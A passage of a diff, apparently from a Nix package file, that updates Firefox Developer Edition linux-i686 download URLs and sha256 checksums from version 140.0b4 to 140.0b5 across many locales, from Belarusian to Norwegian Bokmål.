-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/be/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/be/firefox-140.0b5.tar.xz";
       locale = "be";
       arch = "linux-i686";
-      sha256 = "c95ff9d17f160b66e5d98b50cc9e3e23cb602e96535a20dc6d106648b634af5f";
+      sha256 = "3e282507c63ba8c1cae72de29776aa0acafee8d3ce761e08cd6be80679de5806";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/bg/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/bg/firefox-140.0b5.tar.xz";
       locale = "bg";
       arch = "linux-i686";
-      sha256 = "7612be680b6232be9bf25f44e9878d705da84d9c06f689ce39b704cd5b467a3d";
+      sha256 = "802ad40c1faf63046840e79268ab2c1f57e07976c61c0b88569c0ae6b1fa1126";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/bn/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/bn/firefox-140.0b5.tar.xz";
       locale = "bn";
       arch = "linux-i686";
-      sha256 = "0ff1f5370c1c3ca852880b85bb5b0274a86a2129769b63dcec7dfe2c0dc24d01";
+      sha256 = "0d7e8b4014c21fcd432026a0ba8ec404fb29e19788ce781703e3c66af888c989";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/br/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/br/firefox-140.0b5.tar.xz";
       locale = "br";
       arch = "linux-i686";
-      sha256 = "5cfb59c58c42c84b8b27eb764ba734513e3943182de27a924bfd9886fffcd7bc";
+      sha256 = "73e555c48f77650ac03e23f914bf555bb680aa43cdf31611149b5605106fbd6f";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/bs/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/bs/firefox-140.0b5.tar.xz";
       locale = "bs";
       arch = "linux-i686";
-      sha256 = "82b6944f76105800a44cd0a6cc734a41901c84afdf504d32ffcee1ea6930302e";
+      sha256 = "b21e377b6fd7caab4b3296936bff662e3798ebee398d81569937e14b3a7911c9";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/ca-valencia/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/ca-valencia/firefox-140.0b5.tar.xz";
       locale = "ca-valencia";
       arch = "linux-i686";
-      sha256 = "b431b242cf9ca2c894cc1ea30efd512c2aa390da9a4ac03ebceb019b8dfe07ff";
+      sha256 = "5c6e85f38e21832b4bde1a818b013559ca0afc13877b84f31e2fd0fd15d23110";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/ca/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/ca/firefox-140.0b5.tar.xz";
       locale = "ca";
       arch = "linux-i686";
-      sha256 = "ab394498f4a9557cdca2b060e458c65d93cb95441464b36dd6131e3690d9edf0";
+      sha256 = "636fa17ab60cc9229d6def795fdd225104455d5c39764af63534f8c9cbeb038f";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/cak/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/cak/firefox-140.0b5.tar.xz";
       locale = "cak";
       arch = "linux-i686";
-      sha256 = "04d17aafda6d62a9c3a225fd6136d1ed6f97d2a09f2580cf947f434f8ff1b63c";
+      sha256 = "c1a802e80a78e50504c0134071f83ecffdfe8ec96960ab6b13c586b29bc7b6d9";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/cs/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/cs/firefox-140.0b5.tar.xz";
       locale = "cs";
       arch = "linux-i686";
-      sha256 = "5286ed9fcd63351bea906c7b24b33398492bc2b8fe6e6ec0b07946f88630243f";
+      sha256 = "2f91cc15d3c298c70c41ec327c462bff3a25bd84a292a731ef0ede406253aa22";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/cy/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/cy/firefox-140.0b5.tar.xz";
       locale = "cy";
       arch = "linux-i686";
-      sha256 = "cb83d8e01aba72c385dd9b9cc4a2a5fd791533481d9bddf32eb8b0245701adbe";
+      sha256 = "dbaa4dd4487b3851c82ae57157076197df67eb51d635dce9ba4bdc107c121ea6";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/da/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/da/firefox-140.0b5.tar.xz";
       locale = "da";
       arch = "linux-i686";
-      sha256 = "48b9bbfd7985809559b801353e104ec5ab56654a0141e23e04220ed851705ed9";
+      sha256 = "e70bad35611124a24952eb7e5eefb2e40df4d7c91998fa62f8da1d73c468f6f8";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/de/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/de/firefox-140.0b5.tar.xz";
       locale = "de";
       arch = "linux-i686";
-      sha256 = "b6b189a3c7b2fe43dce76e1021f96e45417d462847a743a1e77b683266aafcc5";
+      sha256 = "ad4a122375d2bbf9d5f53d8001a13e7655b42f7cd1e8f85c4ccdeb5a1fcb29bb";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/dsb/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/dsb/firefox-140.0b5.tar.xz";
       locale = "dsb";
       arch = "linux-i686";
-      sha256 = "11fa034d78efe86b64d6d06902d4e4e2bc65ca3ad26f9d4921ea58cb09984876";
+      sha256 = "cf60d3e0baa038a8e8541ff60df61f992d2e8924f8b623a853f1c18b6b621c70";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/el/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/el/firefox-140.0b5.tar.xz";
       locale = "el";
       arch = "linux-i686";
-      sha256 = "31f822245236d5176e4b03ff56b1c65a40ba7bb466410aea2b118776f710aec8";
+      sha256 = "c182514ffe63d2f89f048034df5cbab78503a0c0604abe01beb3877be052fa83";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/en-CA/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/en-CA/firefox-140.0b5.tar.xz";
       locale = "en-CA";
       arch = "linux-i686";
-      sha256 = "38fc5dc95972a11cd02b1c081ee321716a42e98ec6ef7e3f435d4b1221bf2ce1";
+      sha256 = "2e35526cfbf9ec90ca05e03086eb8ed38126c7df4e2019549b071b1fc1c702c9";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/en-GB/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/en-GB/firefox-140.0b5.tar.xz";
       locale = "en-GB";
       arch = "linux-i686";
-      sha256 = "0fef7f42cae9c59916fa6057d364d708c802a1f94941f90caaacb3035296e544";
+      sha256 = "faffc77533d11a3c95ae03604cea6d89724fd3888b80a75d3d294ba0e1a3738a";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/en-US/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/en-US/firefox-140.0b5.tar.xz";
       locale = "en-US";
       arch = "linux-i686";
-      sha256 = "13669006bc1b4910b522c29ff090f2678be9fa240f4f267616af593c10ef462f";
+      sha256 = "6b4c4042ebba0447e2abdba1492f74a3d64294c08f6ead9486389df079719511";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/eo/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/eo/firefox-140.0b5.tar.xz";
       locale = "eo";
       arch = "linux-i686";
-      sha256 = "9e7e27590c325c569d52230fc011cae9e9ac01bb812e2e18e5f0267fe55a2918";
+      sha256 = "7533ece466a96dbde70e989b65f6cb54d932198b1c0b14a436513a23dbf70d73";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/es-AR/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/es-AR/firefox-140.0b5.tar.xz";
       locale = "es-AR";
       arch = "linux-i686";
-      sha256 = "e6c051adaecd6f60d1fc4709d9303cf466024be18742966edbaf43a36789999c";
+      sha256 = "3f9f4246aa07b6e4eebb829147b6b36677f640d4165f0309e573577abdec0090";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/es-CL/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/es-CL/firefox-140.0b5.tar.xz";
       locale = "es-CL";
       arch = "linux-i686";
-      sha256 = "b8517c7afbc67ead810e626fa1ea48f1684e19d6dcd662798725b8b892bde6b3";
+      sha256 = "d38573e34c9e65d91bb2183e6a4b2dae26746a3906eaf61326810da7c16b6b60";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/es-ES/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/es-ES/firefox-140.0b5.tar.xz";
       locale = "es-ES";
       arch = "linux-i686";
-      sha256 = "c4c0b29a4a060a0c8af8629adf6ca0ff2976f78cc64aec6fb008b87858e273e8";
+      sha256 = "31a88ca04d74fa7e9276090eb75c5605cae5e560b4383b2308486dd31b6aac2c";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/es-MX/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/es-MX/firefox-140.0b5.tar.xz";
       locale = "es-MX";
       arch = "linux-i686";
-      sha256 = "49b3abcab9b709150d6e972049f2b6de488c46a12419ea9f1f6197f66e91e8b0";
+      sha256 = "dba3c5ee85d385c9ba25bc30f6c1dad03d942f5ef8263dfdcfc92daff280fc94";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/et/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/et/firefox-140.0b5.tar.xz";
       locale = "et";
       arch = "linux-i686";
-      sha256 = "75a4e80ebf1b76c63552b333d09d2955dcb96695c3a2a1ce4e1c1923f088fb1e";
+      sha256 = "9be9acf89163402f93ace157412617d6a4b4cc15c657d7053eb1237029738e80";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/eu/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/eu/firefox-140.0b5.tar.xz";
       locale = "eu";
       arch = "linux-i686";
-      sha256 = "8ea8d99a94ebc7b8f42d8e10bd95842bbfdd536482efcc122b81be83cdcf3735";
+      sha256 = "519305e7e193995715b89a21dc2a625071fbdf3ac65aef24ce5a8617864b3acc";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/fa/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/fa/firefox-140.0b5.tar.xz";
       locale = "fa";
       arch = "linux-i686";
-      sha256 = "e6bef39a4ecd26f015a73c01e16a3c7002ea10940b656c44d143718f0142fe10";
+      sha256 = "238f5f7b0d5fc5bdc407e64ad1daeebb411360f1f2bca8190593dd477ef36ffd";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/ff/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/ff/firefox-140.0b5.tar.xz";
       locale = "ff";
       arch = "linux-i686";
-      sha256 = "d10e07baef739462e5416f0b274e5ad28ee3d80b46baa1a6fa3cb58ff60ee058";
+      sha256 = "198c8ad774c8cfae507024576afd485a16d4d7d1e83ccae711151ab90b19b625";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/fi/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/fi/firefox-140.0b5.tar.xz";
       locale = "fi";
       arch = "linux-i686";
-      sha256 = "e49ff3f9972a37af4c5e9b63004ba1830c52f6857731c698d3c865e54be1afc5";
+      sha256 = "659adb1e73e8797637a2c2e0d035d1e17423d2a50aa1ef9545b20ce80471df52";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/fr/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/fr/firefox-140.0b5.tar.xz";
       locale = "fr";
       arch = "linux-i686";
-      sha256 = "f994e1c351ea6baf9a180f78815c64279c9012de3a5081f0556979834e626d3c";
+      sha256 = "4681342dfdd4dad61553a441eddfcb6fd4e682ccaa8b8d62bf13c052845b34be";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/fur/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/fur/firefox-140.0b5.tar.xz";
       locale = "fur";
       arch = "linux-i686";
-      sha256 = "5d3b63899668bb1c644e0c4c99bf12ebdc0537ae9c3b7254b109f79d45861f8d";
+      sha256 = "5bc884aed861946b0672b21bc109ef022246bdd2db03efb18e368f16a676494b";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/fy-NL/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/fy-NL/firefox-140.0b5.tar.xz";
       locale = "fy-NL";
       arch = "linux-i686";
-      sha256 = "b1200734203936c991271a16d46be20e4142ad5ac3f86b37c1dac8aa93d57957";
+      sha256 = "168b6a3e1a9ca5bf492042ac69d837bb33ae596e94e3dcae08a74121f2074084";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/ga-IE/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/ga-IE/firefox-140.0b5.tar.xz";
       locale = "ga-IE";
       arch = "linux-i686";
-      sha256 = "1b56d9d55166127ebfc90662ce1165ca70f47aa44efe41fa43f5bd78e82a7d61";
+      sha256 = "338d580883071a761bec3e3da24d35ffc052eb17629f6f2443febb88c2c03199";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/gd/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/gd/firefox-140.0b5.tar.xz";
       locale = "gd";
       arch = "linux-i686";
-      sha256 = "2a822268acefc09e5ba26dee73982de407c4d9aac8c8abe9621c487245654571";
+      sha256 = "7ef232669d13c123ff4cc1f90860006118535e29d309e62bda58680327f94441";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/gl/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/gl/firefox-140.0b5.tar.xz";
       locale = "gl";
       arch = "linux-i686";
-      sha256 = "81e91beebc926105e03b1866b83d4558c89220e2281a5d1ad5ecfbf384529ee3";
+      sha256 = "bd5e5f72002d0bbaa383ce42ec93b604d783403439f8833579e2efbb07a4c7bd";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/gn/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/gn/firefox-140.0b5.tar.xz";
       locale = "gn";
       arch = "linux-i686";
-      sha256 = "fc0ea462b9700642e36ca02589e84be42bdd1943bc014fd1fc3f2601d076e6a3";
+      sha256 = "7e625da091883d57f8aa7ed3ec060feba9328c55b735de718777b76222fd0e82";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/gu-IN/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/gu-IN/firefox-140.0b5.tar.xz";
       locale = "gu-IN";
       arch = "linux-i686";
-      sha256 = "32917a5d626a841856998e2596691b20e86d2e18dc4417f553966b8e4738681d";
+      sha256 = "95e9aff8285cb9aafe2214d6dce93d263c281a0764d1c2b156d75c11de182e0d";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/he/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/he/firefox-140.0b5.tar.xz";
       locale = "he";
       arch = "linux-i686";
-      sha256 = "d34160eb61dfd9095fbf5c576e787da856815b4510e8d80d1f3e9a948032f7b3";
+      sha256 = "1d19868991246f680f80ce6345791872590556393a27c7ddf95cf88044a9966d";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/hi-IN/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/hi-IN/firefox-140.0b5.tar.xz";
       locale = "hi-IN";
       arch = "linux-i686";
-      sha256 = "51828123c95c9d6cc2e36ca3c2c411e7919d7f5555f36674b6f804ab262e4d4d";
+      sha256 = "f8b88f626cc9877fb18b3c14738f53866e60e9a2eac65f76efcd33c52f5342bf";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/hr/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/hr/firefox-140.0b5.tar.xz";
       locale = "hr";
       arch = "linux-i686";
-      sha256 = "3c4c02943f7a6c60a0a7c87158e03747d4a9e44f1e49cab054b7d35811cfb4f1";
+      sha256 = "5044709e5e8a7833ebeb776ef2452b6b649e8772d3755c05e27cec934b9e4146";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/hsb/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/hsb/firefox-140.0b5.tar.xz";
       locale = "hsb";
       arch = "linux-i686";
-      sha256 = "2885f4677dd03b444a4eec840cebfb9e8bca4b1f091c155e9370b30c9bcbaa41";
+      sha256 = "a0be36a177558e786fa83d570dd474e820f871c1a8b2a271b860b1e3d9a11202";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/hu/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/hu/firefox-140.0b5.tar.xz";
       locale = "hu";
       arch = "linux-i686";
-      sha256 = "4a0aacef612ee558547ea65b43d461ae4f1e4484d8f1b1f08d1e0e1123c39a11";
+      sha256 = "d047f4eab64cd13b150687d0ee8ac0f2a6742f31bd0466d3f07005c2c36c6045";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/hy-AM/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/hy-AM/firefox-140.0b5.tar.xz";
       locale = "hy-AM";
       arch = "linux-i686";
-      sha256 = "756af49598e57e4e604b9d7ae3420fc1d1f92520e9387e769ec32dbf7b88e799";
+      sha256 = "0041adc487a2a6ad619ddedf225edbc1bcb0ccffa547d57c962312a0fefd45dc";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/ia/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/ia/firefox-140.0b5.tar.xz";
       locale = "ia";
       arch = "linux-i686";
-      sha256 = "4c21904867ebbcf124d66a611454c9170f4974c4056edbe7b85fccc530a89821";
+      sha256 = "df8f85019145dc181a1ba2ce3e4d38fc076d4a269bf55c9f8c84cba3564c599e";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/id/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/id/firefox-140.0b5.tar.xz";
       locale = "id";
       arch = "linux-i686";
-      sha256 = "20b890969b74c69d5b08b5249a2c90abd35e209bc0f604c501c666a8698525bf";
+      sha256 = "12f0c14b9fae63ba2bb43f2f5cd42ee7eaa93666d1c592549d4bd34b5a1dc5a8";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/is/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/is/firefox-140.0b5.tar.xz";
       locale = "is";
       arch = "linux-i686";
-      sha256 = "0a9a6a5847f6e941d5e4dd1dc005811950b136d9f603aaf4cf7137ef254fa72e";
+      sha256 = "a0dd980be044409d5ff9ce9063130338399dd8be0221f3ac05d2296c36f666a9";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/it/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/it/firefox-140.0b5.tar.xz";
       locale = "it";
       arch = "linux-i686";
-      sha256 = "31dba20ca0561d706ed27a981578c2009ec7b16e34747b203f032e94ee7c58e4";
+      sha256 = "3da4194adb4d2fe2003357f8fdda6ac9bcbfc0157a5b9d1a47784184a97ec901";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/ja/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/ja/firefox-140.0b5.tar.xz";
       locale = "ja";
       arch = "linux-i686";
-      sha256 = "1fea25b831a12066f42dc06a6b266de967eabd096c313d07f13cc70723a2cac4";
+      sha256 = "d088fd24e8b02ee67e6c9214c63543d82141062c6ed135c0b4c60bfe79135c45";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/ka/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/ka/firefox-140.0b5.tar.xz";
       locale = "ka";
       arch = "linux-i686";
-      sha256 = "3a1d9c4bc047759380d0b32c379d21ca79dbfc583548fd8f7c8f04a09bec6a01";
+      sha256 = "9c3c6266e37138bb3f9af48b6a4f9dcebccfc356fa2785a800180dca3f1b0513";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/kab/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/kab/firefox-140.0b5.tar.xz";
       locale = "kab";
       arch = "linux-i686";
-      sha256 = "9983545d86d35e4e7550edc155a58ff2109daec31f8221c3f4f6bf39a2e5e6f8";
+      sha256 = "1b3fa3bb800bf323210af14329529f4211ffb637281c69c7cde0e3c017dbeccb";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/kk/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/kk/firefox-140.0b5.tar.xz";
       locale = "kk";
       arch = "linux-i686";
-      sha256 = "888ca132a30e062cfca97fd1583ac5c67bc74b6ec24d988ea37ba55af2a79843";
+      sha256 = "75938c7f4bd5af50df2ebb88275b7cc597342b9423b4e5a84b99fc3a5205e4e3";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/km/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/km/firefox-140.0b5.tar.xz";
       locale = "km";
       arch = "linux-i686";
-      sha256 = "311fba327c8c69382296a0aa25ac374c50b179e297a255b69b3699d5a4c45a71";
+      sha256 = "f96fb28c8c1136e082140732b290c928c9bd7dce3b06b0bab066b38471dc3cc9";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/kn/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/kn/firefox-140.0b5.tar.xz";
       locale = "kn";
       arch = "linux-i686";
-      sha256 = "6ca08c6ce3c707130fee2a835b151dc49b2d7f36f4bb520cfa9390bc7c415731";
+      sha256 = "6bd3d219077118ef67c1ebbb803c857dc04c674607ae264b0946247b870f81ba";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/ko/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/ko/firefox-140.0b5.tar.xz";
       locale = "ko";
       arch = "linux-i686";
-      sha256 = "df91e05dbcb7e0d0ee071a98716df1406a13f31e1e35aab9861aa4fabde2b19a";
+      sha256 = "37540ac5c5e624d11125ed9673292ccafa35be4e6e662c8c9786beac2fb321ec";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/lij/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/lij/firefox-140.0b5.tar.xz";
       locale = "lij";
       arch = "linux-i686";
-      sha256 = "d2e4f16f289dc27c5e86260ca43fbded3d9e72d53b287994868e0e8aa61b90c9";
+      sha256 = "c7bcc816b14aa145d48fd5076effc4f00d79432ae12b5714fae8d0550918686d";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/lt/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/lt/firefox-140.0b5.tar.xz";
       locale = "lt";
       arch = "linux-i686";
-      sha256 = "5fe6fec4ab706cb36f18a0106052189e0d4003ff30b2fae3f2f686cba43dc03e";
+      sha256 = "3c6b7495391e8e59d1cf2085ee4d7850989b4112cb9e68206bc75f0e20acf4de";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/lv/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/lv/firefox-140.0b5.tar.xz";
       locale = "lv";
       arch = "linux-i686";
-      sha256 = "cf3ff655c1dccd8760eced7c80afd3a56c55b7ebfc9b0fc9dcf0f44511265bfd";
+      sha256 = "add8c79b308fe6b4a12db0342cd1c4036e6e1a6007bfdade4c90c6e5a612493d";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/mk/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/mk/firefox-140.0b5.tar.xz";
       locale = "mk";
       arch = "linux-i686";
-      sha256 = "4d0da6a59535c9c1411b6f6aa55a7302eed58cd2f53f0ff53e04a192cb8b6103";
+      sha256 = "0ef1d0d8ba0550f1cd1ed9ff80b18a19f4a9abe4e2861709883c4e0011fabd0d";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/mr/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/mr/firefox-140.0b5.tar.xz";
       locale = "mr";
       arch = "linux-i686";
-      sha256 = "34c88897c19103f20389bde6c25e0a63a2501d95b51b2e3d4c361afae7c7fa97";
+      sha256 = "124145c79a65804bca92a11586b3f420e093d7d84f068b61e9a0c8ea9a17df62";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/ms/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/ms/firefox-140.0b5.tar.xz";
       locale = "ms";
       arch = "linux-i686";
-      sha256 = "086fe715d88df9c1a7c0248427f15ad667ef21d63778294b2034e5e6e8b6e705";
+      sha256 = "e3ee714e18c5a8ecdedd3f53fe8825054ddc2f12943bce3952aad9840093665e";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/my/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/my/firefox-140.0b5.tar.xz";
       locale = "my";
       arch = "linux-i686";
-      sha256 = "f0b76fa4dca799e4a6dc301e121d9d665921b57d2b5a6e2f4930ed238db1da97";
+      sha256 = "09aa50674311c91c6894ad159289922c1344a0f80b29e2273d9126a57e47dd87";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/nb-NO/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/nb-NO/firefox-140.0b5.tar.xz";
       locale = "nb-NO";
       arch = "linux-i686";
-      sha256 = "3db95dcaa7e87cff94f840755ed3c2c044d087e7efc9e4e0e66656def33d0658";
